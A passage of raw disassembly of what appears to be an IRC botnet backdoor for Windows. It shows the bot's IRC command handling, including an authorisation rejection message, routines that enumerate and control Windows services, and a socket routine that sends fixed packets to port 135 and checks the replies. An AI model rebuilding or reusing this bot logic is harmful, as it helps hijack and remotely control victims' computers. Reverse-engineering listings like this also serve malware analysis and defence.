push [ebp+var_94]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_412905
inc esi
add edi, 80h
cmp esi, 2
jl short loc_4128E2
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_412905: ; CODE XREF: sub_40CE55+5A9Dj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset dword_436514
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_41291F: ; CODE XREF: sub_40CE55+F42j
; sub_40CE55+F57j
push [ebp+var_90]
push offset dword_43646C
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_41298E
call sub_41515C
push ebx
call dword_421114 ; ExitProcess
loc_412941: ; CODE XREF: sub_40CE55+F18j
; sub_40CE55+F2Dj
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_9A4], bl
setnz al
push eax
lea eax, [ebp+var_564]
push dword_42C1A4
push eax
call sub_414433
lea eax, [ebp+var_564]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_564]
push eax
push offset dword_43330C
call sub_40B1E1
loc_41298B: ; CODE XREF: sub_40CE55+2ADAj
add esp, 24h
loc_41298E: ; CODE XREF: sub_40CE55+65Cj
; sub_40CE55+668j ...
mov eax, [ebp+arg_24]
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_412996: ; CODE XREF: sub_40CE55+B18j
; sub_40CE55+B2Dj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], esi
jz loc_40D219
cmp [ebp+var_98], ebx
jnz loc_40D219
push offset dword_42F3E4
push [ebp+var_94]
call sub_416C98
mov esi, eax
push offset dword_438FD4
push ebx
inc esi
call sub_416C98
push offset asc_433308 ; "~"
push eax
call sub_416C98
push [ebp+arg_0]
mov edi, eax
push offset aHi ; "hi"
call sub_415910
add esp, 20h
test eax, eax
jz short loc_412A3E
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_412D06
push edi
push esi
push offset dword_43327C
loc_412A2A: ; CODE XREF: sub_40CE55+5C45j
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 30h
jmp loc_40D7F9
; ---------------------------------------------------------------------------
loc_412A3E: ; CODE XREF: sub_40CE55+5B9Cj
mov [ebp+arg_24], offset off_42C260
loc_412A45: ; CODE XREF: sub_40CE55+5C0Cj
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_4152EC
pop ecx
test eax, eax
pop ecx
jnz short loc_412A9C
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_42C264
jl short loc_412A45
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_412D06
push edi
push esi
push offset dword_43323C
jmp short loc_412A2A
; ---------------------------------------------------------------------------
loc_412A9C: ; CODE XREF: sub_40CE55+5BFFj
mov edi, [ebp+arg_18]
xor esi, esi
loc_412AA1: ; CODE XREF: sub_40CE55+5C76j
cmp [ebp+arg_0], ebx
jz loc_40D219
cmp [edi], bl
jnz short loc_412AC1
push [ebp+arg_0]
push offset aHi ; "hi"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_412AD2
loc_412AC1: ; CODE XREF: sub_40CE55+5C57j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_412AA1
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_412AD2: ; CODE XREF: sub_40CE55+5C6Aj
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_A94]
push 7Fh
push eax
push esi
call sub_416D40
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_412B09
push ebx
push [ebp+var_4]
push offset dword_433208
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_412B09: ; CODE XREF: sub_40CE55+5C98j
lea eax, [ebp+var_C4]
push eax
push offset dword_4331D4
jmp loc_40D402
; ---------------------------------------------------------------------------
loc_412B1A: ; CODE XREF: sub_40CE55+20Ej
; sub_40CE55+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_412D06
push offset dword_42C23C
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
add esp, 2Ch
mov dword_468998, edi
jmp loc_40D0F2
sub_40CE55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B60 proc near ; CODE XREF: sub_412B98+125p
; sub_412B98+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_412B8E
loc_412B71: ; CODE XREF: sub_412B60+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_417930
add esp, 0Ch
test eax, eax
jz short loc_412B94
inc esi
cmp esi, edi
jl short loc_412B71
loc_412B8E: ; CODE XREF: sub_412B60+Fj
xor al, al
loc_412B90: ; CODE XREF: sub_412B60+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_412B94: ; CODE XREF: sub_412B60+27j
mov al, 1
jmp short loc_412B90
sub_412B60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B98 proc near ; CODE XREF: sub_4033CB+8Bp
; sub_4033CB+174p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_415D70
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_412BD9
dec eax
jz short loc_412BB7
dec eax
loc_412BB1: ; CODE XREF: sub_412B98+57j
xor eax, eax
loc_412BB3: ; CODE XREF: sub_412B98+3Fj
; sub_412B98+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_412BB7: ; CODE XREF: sub_412B98+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_43A3D8
push eax
call sub_4076EE
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_412BB3
; ---------------------------------------------------------------------------
loc_412BD9: ; CODE XREF: sub_412B98+13j
push 6
push 1
push 2
call dword_43A418
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_412BB1
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_43A398
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A05B
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43A340
cmp eax, edi
jz loc_412CF5
push ebx
push 48h
push offset dword_43658C
push esi
call dword_43A3E8
cmp eax, edi
jz loc_412CF5
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43A3B0
cmp eax, edi
jz loc_412CF5
cmp [ebp+var_200E], 0Ch
jnz short loc_412CF5
push ebx
push 18h
push offset dword_4365D8
push [ebp+arg_4]
call dword_43A3E8
cmp eax, edi
jz short loc_412CF5
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43A3B0
mov esi, eax
cmp esi, edi
jz short loc_412CF5
cmp [ebp+var_200E], 2
jnz short loc_412CF5
push 10h
push offset loc_4365F4
lea eax, [ebp+var_2010]
push esi
push eax
call sub_412B60
add esp, 10h
test al, al
jz short loc_412CD5
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_412CF5
; ---------------------------------------------------------------------------
loc_412CD5: ; CODE XREF: sub_412B98+12Fj
push 10h
push offset dword_436608
lea eax, [ebp+var_2010]
push esi
push eax
call sub_412B60
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_412CF5: ; CODE XREF: sub_412B98+9Bj
; sub_412B98+B2j ...
push [ebp+arg_4]
call dword_43A430
mov eax, ebx
pop ebx
jmp loc_412BB3
sub_412B98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D06 proc near ; CODE XREF: sub_40CCDD+3Dp
; sub_40CE55+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41748F
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43A3E8
leave
retn
sub_412D06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D4C proc near ; CODE XREF: sub_401000+88p
; sub_401447+76p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_412D67
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_412D67: ; CODE XREF: sub_412D4C+14j
push edi
call sub_415CF0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_415CF0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_415A6A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_43661C
push eax
call sub_4154E7
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43A3E8
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_412DE5
push 7D0h
call dword_421060 ; Sleep
locret_412DE5: ; CODE XREF: sub_412D4C+8Cj
leave
retn
sub_412D4C endp
; =============== S U B R O U T I N E =======================================
sub_412DE7 proc near ; CODE XREF: sub_40CE55:loc_40ED61p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_412E4C
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_436630[esi]
push edi
push eax
call sub_412E6E
add esp, 14h
test eax, eax
jnz short loc_412E2F
push edi
push off_43662C[esi]
mov esi, offset dword_469060
push offset dword_436764
push esi
call sub_4154E7
add esp, 10h
jmp short loc_412E69
; ---------------------------------------------------------------------------
loc_412E2F: ; CODE XREF: sub_412DE7+2Aj
push eax
call sub_412F10
push eax
push edi
mov esi, offset dword_469060
push offset dword_436728
push esi
call sub_4154E7
add esp, 14h
jmp short loc_412E69
; ---------------------------------------------------------------------------
loc_412E4C: ; CODE XREF: sub_412DE7+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_469060
push off_436628[eax*4]
push offset dword_4366F0
push esi
call sub_4154E7
add esp, 0Ch
loc_412E69: ; CODE XREF: sub_412DE7+46j
; sub_412DE7+63j
mov eax, esi
pop edi
pop esi
retn
sub_412DE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E6E proc near ; CODE XREF: sub_412DE7+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_43A38C
mov edi, eax
cmp edi, ebx
jnz short loc_412E95
call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_412F0A
; ---------------------------------------------------------------------------
loc_412E95: ; CODE XREF: sub_412E6E+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_43A280
mov esi, eax
cmp esi, ebx
jnz short loc_412EB5
call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_412F02
; ---------------------------------------------------------------------------
loc_412EB5: ; CODE XREF: sub_412E6E+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_412EE8
cmp eax, 3
jz short loc_412ED9
jle short loc_412EFB
cmp eax, 6
jg short loc_412EFB
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_43A2E8
jmp short loc_412EEF
; ---------------------------------------------------------------------------
loc_412ED9: ; CODE XREF: sub_412E6E+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_43A288
jmp short loc_412EEF
; ---------------------------------------------------------------------------
loc_412EE8: ; CODE XREF: sub_412E6E+4Dj
push esi
call dword_43A2EC
loc_412EEF: ; CODE XREF: sub_412E6E+69j
; sub_412E6E+78j
test eax, eax
jnz short loc_412EFB
call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
loc_412EFB: ; CODE XREF: sub_412E6E+54j
; sub_412E6E+59j ...
push esi
call dword_43A29C
loc_412F02: ; CODE XREF: sub_412E6E+45j
push edi
call dword_43A29C
pop esi
loc_412F0A: ; CODE XREF: sub_412E6E+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_412E6E endp
; =============== S U B R O U T I N E =======================================
sub_412F10 proc near ; CODE XREF: sub_412DE7+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_412FC5
jz loc_412FBE
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_412F88
jz short loc_412F7E
mov ecx, eax
sub ecx, 3
jz short loc_412F74
dec ecx
dec ecx
jz short loc_412F6A
dec ecx
jz short loc_412F60
sub ecx, 51h
jz short loc_412F56
sub ecx, 24h
jnz loc_41303B ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
loc_412F4C: ; DATA XREF: .nsp0:off_42B834o
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F56: ; CODE XREF: sub_412F10+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F60: ; CODE XREF: sub_412F10+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F6A: ; CODE XREF: sub_412F10+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F74: ; CODE XREF: sub_412F10+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F7E: ; CODE XREF: sub_412F10+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F88: ; CODE XREF: sub_412F10+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_412FB7
dec ecx
jz short loc_412FB0
dec ecx
jz short loc_412FA9
dec ecx
jnz loc_41303B ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412FA9: ; CODE XREF: sub_412F10+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FB0: ; CODE XREF: sub_412F10+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FB7: ; CODE XREF: sub_412F10+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FBE: ; CODE XREF: sub_412F10+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FC5: ; CODE XREF: sub_412F10+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_41303B ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
jz short loc_413028
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_41303B ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_41307C[ecx]
jmp off_413054[ecx*4] ; switch jump
loc_412FE9: ; DATA XREF: .nsp0:off_413054o
push offset aTheSpecifiedDa ; jumptable 00412FE2 case 7
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FF0: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceDepe ; jumptable 00412FE2 case 17
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FF7: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceDe_0 ; jumptable 00412FE2 case 10
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FFE: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceHasB ; jumptable 00412FE2 case 0
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_413005: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheSpecified_0 ; jumptable 00412FE2 case 2
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_41300C: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceCoul ; jumptable 00412FE2 case 11
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_413013: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceHa_0 ; jumptable 00412FE2 case 14
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_41301A: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheRequested_1 ; jumptable 00412FE2 case 3
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_413021: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceHasN ; jumptable 00412FE2 case 4
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_413028: ; CODE XREF: sub_412F10+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_41302D: ; CODE XREF: sub_412F10+41j
; sub_412F10+4Bj ...
push offset dword_4689A0
call sub_4154E7
pop ecx
pop ecx
jmp short loc_41304E
; ---------------------------------------------------------------------------
loc_41303B: ; CODE XREF: sub_412F10+36j
; sub_412F10+89j ...
push eax ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4689A0
call sub_4154E7
add esp, 0Ch
loc_41304E: ; CODE XREF: sub_412F10+129j
mov eax, offset dword_4689A0
retn
sub_412F10 endp
; ---------------------------------------------------------------------------
off_413054 dd offset loc_412FFE ; DATA XREF: sub_412F10+D2r
dd offset loc_413005 ; jump table for switch statement
dd offset loc_41301A
dd offset loc_413021
dd offset loc_412FE9
dd offset loc_412FF7
dd offset loc_41300C
dd offset loc_413013
dd offset loc_412FF0
dd offset loc_41303B
byte_41307C db 0, 9, 1, 2 ; DATA XREF: sub_412F10+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41308E proc near ; CODE XREF: sub_40CE55+1F37p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_43A38C
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4130C6: ; CODE XREF: sub_41308E+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_43A358
test eax, eax
jnz short loc_413100
call dword_421088 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_4131B4
loc_413100: ; CODE XREF: sub_41308E+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_4131AB
lea esi, [ebp+var_188]
loc_413111: ; CODE XREF: sub_41308E+117j
mov eax, [esi+8]
dec eax
jz short loc_41315A
dec eax
jz short loc_413153
dec eax
jz short loc_41314C
dec eax
jz short loc_413145
dec eax
jz short loc_41313E
dec eax
jz short loc_413137
dec eax
jz short loc_413130
push offset aUnknown_1 ; " Unknown"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_413130: ; CODE XREF: sub_41308E+99j
push offset aPaused_0 ; " Paused"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_413137: ; CODE XREF: sub_41308E+96j
push offset aPausing ; " Pausing"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_41313E: ; CODE XREF: sub_41308E+93j
push offset aContinuing ; " Continuing"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_413145: ; CODE XREF: sub_41308E+90j
push offset aRunning_0 ; " Running"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_41314C: ; CODE XREF: sub_41308E+8Dj
push offset aStoping ; " Stoping"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_413153: ; CODE XREF: sub_41308E+8Aj
push offset aStarting ; " Starting"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_41315A: ; CODE XREF: sub_41308E+87j
push offset aStopped ; " Stopped"
loc_41315F: ; CODE XREF: sub_41308E+A0j
; sub_41308E+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_4154E7
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_413111
loc_4131AB: ; CODE XREF: sub_41308E+77j
cmp [ebp+var_8], ebx
jnz loc_4130C6
loc_4131B4: ; CODE XREF: sub_41308E+6Cj
push [ebp+var_C]
call dword_43A29C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41308E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131CB proc near ; CODE XREF: sub_40CE55:loc_40EE43p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_413264
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_4131F4
dec eax
jnz short loc_413244
push edi
push 0
call sub_41339D
pop ecx
pop ecx
jmp short loc_413240
; ---------------------------------------------------------------------------
loc_4131F4: ; CODE XREF: sub_4131CB+18j
cmp [ebp+arg_8], 0
jnz short loc_413232
push 24h
push edi
call sub_417080
pop ecx
test eax, eax
pop ecx
jnz short loc_413232
push 57h
pop eax
loc_41320B: ; CODE XREF: sub_4131CB+77j
push eax
call sub_413B75
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_468C5C
push off_436628[eax*4]
push offset dword_436D34
push esi
call sub_4154E7
add esp, 18h
jmp short loc_413284
; ---------------------------------------------------------------------------
loc_413232: ; CODE XREF: sub_4131CB+2Dj
; sub_4131CB+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_4132F1
add esp, 0Ch
loc_413240: ; CODE XREF: sub_4131CB+27j
test eax, eax
jnz short loc_41320B
loc_413244: ; CODE XREF: sub_4131CB+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_468C5C
push off_43662C[eax*4]
push offset dword_436D04
push esi
call sub_4154E7
add esp, 10h
jmp short loc_413284
; ---------------------------------------------------------------------------
loc_413264: ; CODE XREF: sub_4131CB+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_468C5C
lea eax, [eax+eax*2]
push off_436628[eax*4]
push offset dword_436CCC
push esi
call sub_4154E7
add esp, 0Ch
loc_413284: ; CODE XREF: sub_4131CB+65j
; sub_4131CB+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_4131CB endp
; =============== S U B R O U T I N E =======================================
sub_41328A proc near ; CODE XREF: sub_4146BA+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_413297
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_413297: ; CODE XREF: sub_41328A+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_421138
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_468E5C, 1
mov ebp, eax
jnz short loc_4132D4
or byte_468E5C, 1
lea eax, [ebp+1]
push eax
call sub_4167C5
pop ecx
mov dword_468BFC, eax
loc_4132D4: ; CODE XREF: sub_41328A+32j
push esi
push esi
push ebp
push dword_468BFC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_468BFC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_41328A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4132F1 proc near ; CODE XREF: sub_4131CB+6Dp
; sub_4149DE+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_41335C
push [ebp+arg_4]
mov edi, eax
call sub_41335C
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_417080
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_41335C
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_43A298
pop edi
leave
retn
sub_4132F1 endp
; =============== S U B R O U T I N E =======================================
sub_41335C proc near ; CODE XREF: sub_4132F1+Ap
; sub_4132F1+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_413369
pop ebp
retn
; ---------------------------------------------------------------------------
loc_413369: ; CODE XREF: sub_41335C+9j
push ebx
push esi
mov esi, dword_421064
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_4167C5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_41335C endp
; =============== S U B R O U T I N E =======================================
sub_41339D proc near ; CODE XREF: sub_4131CB+20p
; sub_4146BA+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41335C
push [esp+8+arg_4]
mov esi, eax
call sub_41335C
pop ecx
pop ecx
push 0
push eax
push esi
call dword_43A270
pop esi
retn
sub_41339D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4133C0 proc near ; CODE XREF: sub_40CE55+201Ap
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
